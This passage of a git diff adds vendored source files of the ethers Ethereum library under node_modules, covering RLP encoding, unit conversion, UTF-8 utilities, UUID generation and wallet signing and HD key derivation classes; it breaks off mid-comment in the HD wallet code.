const types = type.split("|").map(t => t.trim()); + for (let i = 0; i < types.length; i++) { + switch (type) { + case "any": + return; + case "bigint": + case "boolean": + case "number": + case "string": + if (typeof(value) === type) { return; } + } + } + + const error: any = new Error(`invalid value for type ${ type }`); + error.code = "INVALID_ARGUMENT"; + error.argument = `value.${ name }`; + error.value = value; + + throw error; +} + +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +export async function resolveProperties(value: { [ P in keyof T ]: T[P] | Promise}): Promise { + const keys = Object.keys(value); + const results = await Promise.all(keys.map((k) => Promise.resolve(value[k]))); + return results.reduce((accum: any, v, index) => { + accum[keys[index]] = v; + return accum; + }, <{ [ P in keyof T]: T[P] }>{ }); +} + +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +export function defineProperties( + target: T, + values: { [ K in keyof T ]?: T[K] }, + types?: { [ K in keyof T ]?: string }): void { + + for (let key in values) { + let value = values[key]; + + const type = (types ? types[key]: null); + if (type) { checkType(value, type, key); } + + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } +} diff --git a/node_modules/ethers/src.ts/utils/rlp-decode.ts b/node_modules/ethers/src.ts/utils/rlp-decode.ts new file mode 100644 index 000000000000..330ba5cf9eef --- /dev/null +++ b/node_modules/ethers/src.ts/utils/rlp-decode.ts @@ -0,0 +1,104 @@ +//See: https://github.com/ethereum/wiki/wiki/RLP + +import { hexlify } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; +import { getBytes } from "./data.js"; + +import type { BytesLike, RlpStructuredData } from "./index.js"; + + +function hexlifyByte(value: number): string { + let result = value.toString(16); + while (result.length < 2) { result = "0" + result; } + return "0x" + result; +} + +function unarrayifyInteger(data: Uint8Array, offset: number, length: number): number { + let result = 0; + for (let i = 0; i < length; i++) { + result = (result * 256) + data[offset + i]; + } + return result; +} + +type Decoded = { + result: any; + consumed: number; +}; + +function _decodeChildren(data: Uint8Array, offset: number, childOffset: number, length: number): Decoded { + const result: Array = []; + + while (childOffset < offset + 1 + length) { + const decoded = _decode(data, childOffset); + + result.push(decoded.result); + + childOffset += decoded.consumed; + assert(childOffset <= offset + 1 + length, "child data too short", "BUFFER_OVERRUN", { + buffer: data, length, offset + }); + } + + return {consumed: (1 + length), result: result}; +} + +// returns { consumed: number, result: Object } +function _decode(data: Uint8Array, offset: number): { consumed: number, result: any } { + assert(data.length !== 0, "data too short", "BUFFER_OVERRUN", { + buffer: data, length: 0, offset: 1 + }); + + const checkOffset = (offset: number) => { + assert(offset <= data.length, "data short segment too short", "BUFFER_OVERRUN", { + buffer: data, length: data.length, offset + }); + }; + + // Array with extra length prefix + if (data[offset] >= 0xf8) { + const lengthLength = data[offset] - 0xf7; + checkOffset(offset + 1 + lengthLength); + + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + + return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); + + } else if (data[offset] >= 0xc0) { + const length = data[offset] - 0xc0; + checkOffset(offset + 1 + length); + + return _decodeChildren(data, offset, offset + 1, length); + + } else if (data[offset] >= 0xb8) { + const lengthLength = data[offset] - 0xb7; + checkOffset(offset + 1 + lengthLength); + + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + + const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); + return { consumed: (1 + lengthLength + length), result: result } + + } else if (data[offset] >= 0x80) { + const length = data[offset] - 0x80; + checkOffset(offset + 1 + length); + + const result = hexlify(data.slice(offset + 1, offset + 1 + length)); + return { consumed: (1 + length), result: result } + } + + return { consumed: 1, result: hexlifyByte(data[offset]) }; +} + +/** + * Decodes %%data%% into the structured data it represents. + */ +export function decodeRlp(_data: BytesLike): RlpStructuredData { + const data = getBytes(_data, "data"); + const decoded = _decode(data, 0); + assertArgument(decoded.consumed === data.length, "unexpected junk after rlp payload", "data", _data); + return decoded.result; +} + diff --git a/node_modules/ethers/src.ts/utils/rlp-encode.ts b/node_modules/ethers/src.ts/utils/rlp-encode.ts new file mode 100644 index 000000000000..a823cbbc7fba --- /dev/null +++ b/node_modules/ethers/src.ts/utils/rlp-encode.ts @@ -0,0 +1,64 @@ +//See: https://github.com/ethereum/wiki/wiki/RLP + +import { getBytes } from "./data.js"; + +import type { RlpStructuredDataish } from "./rlp.js"; + + +function arrayifyInteger(value: number): Array { + const result: Array = []; + while (value) { + result.unshift(value & 0xff); + value >>= 8; + } + return result; +} + +function _encode(object: Array | string | Uint8Array): Array { + if (Array.isArray(object)) { + let payload: Array = []; + object.forEach(function(child) { + payload = payload.concat(_encode(child)); + }); + + if (payload.length <= 55) { + payload.unshift(0xc0 + payload.length) + return payload; + } + + const length = arrayifyInteger(payload.length); + length.unshift(0xf7 + length.length); + + return length.concat(payload); + + } + + const data: Array = Array.prototype.slice.call(getBytes(object, "object")); + + if (data.length === 1 && data[0] <= 0x7f) { + return data; + + } else if (data.length <= 55) { + data.unshift(0x80 + data.length); + return data; + } + + const length = arrayifyInteger(data.length); + length.unshift(0xb7 + length.length); + + return length.concat(data); +} + +const nibbles = "0123456789abcdef"; + +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +export function encodeRlp(object: RlpStructuredDataish): string { + let result = "0x"; + for (const v of _encode(object)) { + result += nibbles[v >> 4]; + result += nibbles[v & 0xf]; + } + return result; +} diff --git a/node_modules/ethers/src.ts/utils/rlp.ts b/node_modules/ethers/src.ts/utils/rlp.ts new file mode 100644 index 000000000000..5c6551c44143 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/rlp.ts @@ -0,0 +1,20 @@ +/** + * The [[link-rlp]] (RLP) encoding is used throughout Ethereum + * to serialize nested structures of Arrays and data. + * + * @_subsection api/utils:Recursive-Length Prefix [about-rlp] + */ + +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; + +/** + * An RLP-encoded structure. + */ +export type RlpStructuredData = string | Array; + +/** + * An RLP-encoded structure, which allows Uint8Array. + */ +export type RlpStructuredDataish = string | Uint8Array | Array; + diff --git a/node_modules/ethers/src.ts/utils/test.txt b/node_modules/ethers/src.ts/utils/test.txt new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/node_modules/ethers/src.ts/utils/units.ts b/node_modules/ethers/src.ts/utils/units.ts new file mode 100644 index 000000000000..feb9fba56886 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/units.ts @@ -0,0 +1,91 @@ +/** + * Most interactions with Ethereum requires integer values, which use + * the smallest magnitude unit. + * + * For example, imagine dealing with dollars and cents. Since dollars + * are divisible, non-integer values are possible, such as ``$10.77``. + * By using the smallest indivisible unit (i.e. cents), the value can + * be kept as the integer ``1077``. + * + * When receiving decimal input from the user (as a decimal string), + * the value should be converted to an integer and when showing a user + * a value, the integer value should be converted to a decimal string. + * + * This creates a clear distinction, between values to be used by code + * (integers) and values used for display logic to users (decimals). + * + * The native unit in Ethereum, //ether// is divisible to 18 decimal places, + * where each individual unit is called a //wei//. + * + * @_subsection api/utils:Unit Conversion [about-units] + */ +import { assertArgument } from "./errors.js"; +import { FixedNumber } from "./fixednumber.js"; +import { getNumber } from "./maths.js"; + +import type { BigNumberish, Numeric } from "../utils/index.js"; + + +const names = [ + "wei", + "kwei", + "mwei", + "gwei", + "szabo", + "finney", + "ether", +]; + +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +export function formatUnits(value: BigNumberish, unit?: string | Numeric): string { + let decimals = 18; + if (typeof(unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + + return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString(); +} + +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +export function parseUnits(value: string, unit?: string | Numeric): bigint { + assertArgument(typeof(value) === "string", "value must be a string", "value", value); + + let decimals = 18; + if (typeof(unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + + return FixedNumber.fromString(value, { decimals, width: 512 }).value; +} + +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +export function formatEther(wei: BigNumberish): string { + return formatUnits(wei, 18); +} + +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +export function parseEther(ether: string): bigint { + return parseUnits(ether, 18); +} diff --git a/node_modules/ethers/src.ts/utils/utf8.ts b/node_modules/ethers/src.ts/utils/utf8.ts new file mode 100644 index 000000000000..7706c5b1ac95 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/utf8.ts @@ -0,0 +1,325 @@ +/** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ +import { getBytes } from "./data.js"; +import { assertArgument, assertNormalize } from "./errors.js"; + +import type { BytesLike } from "./index.js"; + + +/////////////////////////////// + +/** + * The stanard normalization forms. + */ +export type UnicodeNormalizationForm = "NFC" | "NFD" | "NFKC" | "NFKD"; + +/** + * When using the UTF-8 error API the following errors can be intercepted + * and processed as the %%reason%% passed to the [[Utf8ErrorFunc]]. + * + * **``"UNEXPECTED_CONTINUE"``** - a continuation byte was present where there + * was nothing to continue. + * + * **``"BAD_PREFIX"``** - an invalid (non-continuation) byte to start a + * UTF-8 codepoint was found. + * + * **``"OVERRUN"``** - the string is too short to process the expected + * codepoint length. + * + * **``"MISSING_CONTINUE"``** - a missing continuation byte was expected but + * not found. The %%offset%% indicates the index the continuation byte + * was expected at. + * + * **``"OUT_OF_RANGE"``** - the computed code point is outside the range + * for UTF-8. The %%badCodepoint%% indicates the computed codepoint, which was + * outside the valid UTF-8 range. + * + * **``"UTF16_SURROGATE"``** - the UTF-8 strings contained a UTF-16 surrogate + * pair. The %%badCodepoint%% is the computed codepoint, which was inside the + * UTF-16 surrogate range. + * + * **``"OVERLONG"``** - the string is an overlong representation. The + * %%badCodepoint%% indicates the computed codepoint, which has already + * been bounds checked. + * + * + * @returns string + */ +export type Utf8ErrorReason = "UNEXPECTED_CONTINUE" | "BAD_PREFIX" | "OVERRUN" | + "MISSING_CONTINUE" | "OUT_OF_RANGE" | "UTF16_SURROGATE" | "OVERLONG"; + + +/** + * A callback that can be used with [[toUtf8String]] to analysis or + * recovery from invalid UTF-8 data. + * + * Parsing UTF-8 data is done through a simple Finite-State Machine (FSM) + * which calls the ``Utf8ErrorFunc`` if a fault is detected. + * + * The %%reason%% indicates where in the FSM execution the fault + * occurred and the %%offset%% indicates where the input failed. + * + * The %%bytes%% represents the raw UTF-8 data that was provided and + * %%output%% is the current array of UTF-8 code-points, which may + * be updated by the ``Utf8ErrorFunc``. + * + * The value of the %%badCodepoint%% depends on the %%reason%%. See + * [[Utf8ErrorReason]] for details. + * + * The function should return the number of bytes that should be skipped + * when control resumes to the FSM. + */ +export type Utf8ErrorFunc = (reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number) => number; + + +function errorFunc(reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number): number { + assertArgument(false, `invalid codepoint at offset ${ offset }; ${ reason }`, "bytes", bytes); +} + +function ignoreFunc(reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number): number { + + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { break; } + i++; + } + return i; + } + + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + + // Nothing to skip + return 0; +} + +function replaceFunc(reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number): number { + + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + assertArgument(typeof(badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + + // Put the replacement character into the output + output.push(0xfffd); + + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes, output, badCodepoint); +} + +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +export const Utf8ErrorFuncs: Readonly> = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc +}); + +// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 +function getUtf8CodePoints(_bytes: BytesLike, onError?: Utf8ErrorFunc): Array { + if (onError == null) { onError = Utf8ErrorFuncs.error; } + + const bytes = getBytes(_bytes, "bytes"); + + const result: Array = []; + let i = 0; + + // Invalid bytes are ignored + while(i < bytes.length) { + + const c = bytes[i++]; + + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + + // Multibyte; how many bytes left for this character? + let extraLength: null | number = null; + let overlongMask: null | number = null; + + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + + // 1110 xxxx 10xx xxxx 10xx xxxx + } else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + + } else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + + // Remove the length prefix from the char + let res: null | number = c & ((1 << (8 - extraLength - 1)) - 1); + + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + }; + + res = (res << 6) | (nextChar & 0x3f); + i++; + } + + // See above loop for invalid continuation byte + if (res === null) { continue; } + + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + + result.push(res); + } + + return result; +} + +// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array + +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export function toUtf8Bytes(str: string, form?: UnicodeNormalizationForm): Uint8Array { + assertArgument(typeof(str) === "string", "invalid string value", "str", str); + + if (form != null) { + assertNormalize(form); + str = str.normalize(form); + } + + let result: Array = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + + if (c < 0x80) { + result.push(c); + + } else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + + } else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + + assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), + "invalid surrogate pair", "str", str); + + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + + } else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + + return new Uint8Array(result); +}; + +//export +function _toUtf8String(codePoints: Array): string { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + codePoint -= 0x10000; + return String.fromCharCode( + (((codePoint >> 10) & 0x3ff) + 0xd800), + ((codePoint & 0x3ff) + 0xdc00) + ); + }).join(""); +} + +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +export function toUtf8String(bytes: BytesLike, onError?: Utf8ErrorFunc): string { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); +} + +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export function toUtf8CodePoints(str: string, form?: UnicodeNormalizationForm): Array { + return getUtf8CodePoints(toUtf8Bytes(str, form)); +} + diff --git a/node_modules/ethers/src.ts/utils/uuid.ts b/node_modules/ethers/src.ts/utils/uuid.ts new file mode 100644 index 000000000000..d82a2d5c8a3a --- /dev/null +++ b/node_modules/ethers/src.ts/utils/uuid.ts @@ -0,0 +1,36 @@ +/** + * Explain UUID and link to RFC here. + * + * @_subsection: api/utils:UUID [about-uuid] + */ +import { getBytes, hexlify } from "./data.js"; + +import type { BytesLike } from "./index.js"; + +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} diff --git a/node_modules/ethers/src.ts/wallet/base-wallet.ts b/node_modules/ethers/src.ts/wallet/base-wallet.ts new file mode 100644 index 000000000000..bb9f680717f8 --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/base-wallet.ts @@ -0,0 +1,160 @@ +import { getAddress, resolveAddress } from "../address/index.js"; +import { + hashAuthorization, hashMessage, TypedDataEncoder +} from "../hash/index.js"; +import { AbstractSigner, copyRequest } from "../providers/index.js"; +import { computeAddress, Transaction } from "../transaction/index.js"; +import { + defineProperties, getBigInt, resolveProperties, assert, assertArgument +} from "../utils/index.js"; + +import type { SigningKey } from "../crypto/index.js"; +import type { + AuthorizationRequest, TypedDataDomain, TypedDataField +} from "../hash/index.js"; +import type { Provider, TransactionRequest } from "../providers/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; + + +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +export class BaseWallet extends AbstractSigner { + /** + * The wallet address. + */ + readonly address!: string; + + readonly #signingKey: SigningKey; + + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey: SigningKey, provider?: null | Provider) { + super(provider); + + assertArgument(privateKey && typeof(privateKey.sign) === "function", "invalid private key", "privateKey", "[ REDACTED ]"); + + this.#signingKey = privateKey; + + const address = computeAddress(this.signingKey.publicKey); + defineProperties(this, { address }); + } + + // Store private values behind getters to reduce visibility + // in console.log + + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey(): SigningKey { return this.#signingKey; } + + /** + * The private key for this wallet. + */ + get privateKey(): string { return this.signingKey.privateKey; } + + async getAddress(): Promise { return this.address; } + + connect(provider: null | Provider): BaseWallet { + return new BaseWallet(this.#signingKey, provider); + } + + async signTransaction(tx: TransactionRequest): Promise { + tx = copyRequest(tx); + + // Replace any Addressable or ENS name with an address + const { to, from } = await resolveProperties({ + to: (tx.to ? resolveAddress(tx.to, this): undefined), + from: (tx.from ? resolveAddress(tx.from, this): undefined) + }); + + if (to != null) { tx.to = to; } + if (from != null) { tx.from = from; } + + if (tx.from != null) { + assertArgument(getAddress((tx.from)) === this.address, + "transaction from address mismatch", "tx.from", tx.from); + delete tx.from; + } + + // Build the transaction + const btx = Transaction.from(>tx); + btx.signature = this.signingKey.sign(btx.unsignedHash); + + return btx.serialized; + } + + async signMessage(message: string | Uint8Array): Promise { + return this.signMessageSync(message); + } + + // @TODO: Add a secialized signTx and signTyped sync that enforces + // all parameters are known? + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message: string | Uint8Array): string { + return this.signingKey.sign(hashMessage(message)).serialized; + } + + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth: AuthorizationRequest): Authorization { + assertArgument(typeof(auth.address) === "string", + "invalid address for authorizeSync", "auth.address", auth); + + const signature = this.signingKey.sign(hashAuthorization(auth)); + return Object.assign({ }, { + address: getAddress(auth.address), + nonce: getBigInt(auth.nonce || 0), + chainId: getBigInt(auth.chainId || 0), + }, { signature }); + } + + /** + * Resolves to the Authorization for %%auth%%. + */ + async authorize(auth: AuthorizationRequest): Promise { + auth = Object.assign({ }, auth, { + address: await resolveAddress(auth.address, this) + }); + return this.authorizeSync(await this.populateAuthorization(auth)); + } + + async signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise { + + // Populate any ENS names + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name: string) => { + // @TODO: this should use resolveName; addresses don't + // need a provider + + assert(this.provider != null, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { + operation: "resolveName", + info: { name } + }); + + const address = await this.provider.resolveName(name); + assert(address != null, "unconfigured ENS name", "UNCONFIGURED_NAME", { + value: name + }); + + return address; + }); + + return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized; + } +} diff --git a/node_modules/ethers/src.ts/wallet/hdwallet.ts b/node_modules/ethers/src.ts/wallet/hdwallet.ts new file mode 100644 index 000000000000..ce0cce4e53a2 --- /dev/null +++ b/node_modules/ethers/src.ts/wallet/hdwallet.ts @@ -0,0 +1,586 @@ +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +import { computeHmac, randomBytes, ripemd160, SigningKey, sha256 } from "../crypto/index.js"; +import { VoidSigner } from "../providers/index.js"; +import { computeAddress } from "../transaction/index.js"; +import { + concat, dataSlice, decodeBase58, defineProperties, encodeBase58, + getBytes, hexlify, isBytesLike, + getNumber, toBeArray, toBigInt, toBeHex, + assertPrivate, assert, assertArgument +} from "../utils/index.js"; +import { LangEn } from "../wordlists/lang-en.js"; + +import { BaseWallet } from "./base-wallet.js"; +import { Mnemonic } from "./mnemonic.js"; +import { + encryptKeystoreJson, encryptKeystoreJsonSync, +} from "./json-keystore.js"; + +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; +import type { BytesLike, Numeric } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; + +import type { KeystoreAccount } from "./json-keystore.js"; + +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +export const defaultPath: string = "m/44'/60'/0'/0/0"; + + +// "Bitcoin seed" +const MasterSecret = new Uint8Array([ 66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100 ]); + +const HardenedBit = 0x80000000; + +const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); + +const Nibbles = "0123456789abcdef"; +function zpad(value: number, length: number): string { + let result = ""; + while (value) { + result = Nibbles[value % 16] + result; + value = Math.trunc(value / 16); + } + while (result.length < length * 2) { result = "0" + result; } + return "0x" + result; +} + +function encodeBase58Check(_value: BytesLike): string { + const value = getBytes(_value); + const check = dataSlice(sha256(sha256(value)), 0, 4); + const bytes = concat([ value, check ]); + return encodeBase58(bytes); +} + +const _guard = { }; + +function ser_I(index: number, chainCode: string, publicKey: string, privateKey: null | string): { IL: Uint8Array, IR: Uint8Array } { + const data = new Uint8Array(37); + + if (index & HardenedBit) { + assert(privateKey != null, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { + operation: "deriveChild" + }); + + // Data = 0x00 || ser_256(k_par) + data.set(getBytes(privateKey), 1); + + } else { + // Data = ser_p(point(k_par)) + data.set(getBytes(publicKey)); + } + + // Data += ser_32(i) + for (let i = 24; i >= 0; i -= 8) { data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); } + const I = getBytes(computeHmac("sha512", chainCode, data)); + + return { IL: I.slice(0, 32), IR: I.slice(32) }; +} + +type HDNodeLike = { depth: number, deriveChild: (i: number) => T }; +function derivePath>(node: T, path: string): T { + const components = path.split("/"); + + assertArgument(components.length > 0, "invalid path", "path", path); + + if (components[0] === "m") { + assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${ node.depth }`, "path", path); + components.shift(); + } + + let result: T = node; + for (let i = 0; i < components.length; i++) { + const component = components[i]; + + if (component.match(/^[0-9]+'$/)) { + const index = parseInt(component.substring(0, component.length - 1)); + assertArgument(index < HardenedBit, "invalid path index", `path[${ i }]`, component); + result = result.deriveChild(HardenedBit + index); + + } else if (component.match(/^[0-9]+$/)) { + const index = parseInt(component); + assertArgument(index < HardenedBit, "invalid path index", `path[${ i }]`, component); + result = result.deriveChild(index); + + } else { + assertArgument(false, "invalid path component", `path[${ i }]`, component); + } + } + + return result; +} + +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +export class HDNodeWallet extends BaseWallet { + /** + * The compressed public key. + */ + readonly publicKey!: string; + + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint!: string; + + /** + * The parent fingerprint. + */ + readonly parentFingerprint!: string; + + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + readonly mnemonic!: null | Mnemonic; + + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode!: string; + + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + readonly path!: null | string; + + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index!: number; + + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth!: number; + + /** + * @private + */ + constructor(guard: any, signingKey: SigningKey, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, mnemonic: null | Mnemonic, provider: null | Provider) { + super(signingKey, provider); + assertPrivate(guard, _guard, "HDNodeWallet"); + + defineProperties(this, { publicKey: signingKey.compressedPublicKey }); + + const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4); + defineProperties(this, { + parentFingerprint, fingerprint, + chainCode, path, index, depth + }); + + defineProperties(this, { mnemonic }); + } + + connect(provider: null | Provider): HDNodeWallet { + return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, + this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider); + } + + #account(): KeystoreAccount { + const account: KeystoreAccount = { address: this.address, privateKey: this.privateKey }; + const m = this.mnemonic; + if (this.path && m && m.wordlist.locale === "en" && m.password === "") { + account.mnemonic = { + path: this.path, + locale: "en", + entropy: m.entropy + }; + } + + return account; + } + + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise { + return await encryptKeystoreJson(this.#account(), password, { progressCallback }); + } + + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string { + return encryptKeystoreJsonSync(this.#account(), password); + } + + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey(): string { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: 